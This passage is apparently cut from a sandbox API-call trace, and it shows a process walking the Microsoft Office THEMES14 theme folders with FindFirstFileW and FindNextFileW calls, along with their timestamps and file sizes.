ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0050.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.654] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.654] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0050.654] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.654] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.654] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0050.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.655] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.655] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0050.655] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.655] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.655] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0050.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.655] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.655] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0050.655] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.655] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.655] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0050.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.655] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.655] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0050.655] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.656] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.656] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0050.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.656] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.656] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0050.656] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.656] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.656] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0050.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.656] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.656] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0050.656] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.656] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.656] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0050.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.656] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.657] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0050.657] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.657] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.657] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0050.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.657] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.657] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0050.657] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.657] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.657] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0050.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.657] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.657] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0050.657] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.657] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.657] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0050.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.658] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.658] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0050.658] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.658] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.658] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0050.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.658] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.658] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, 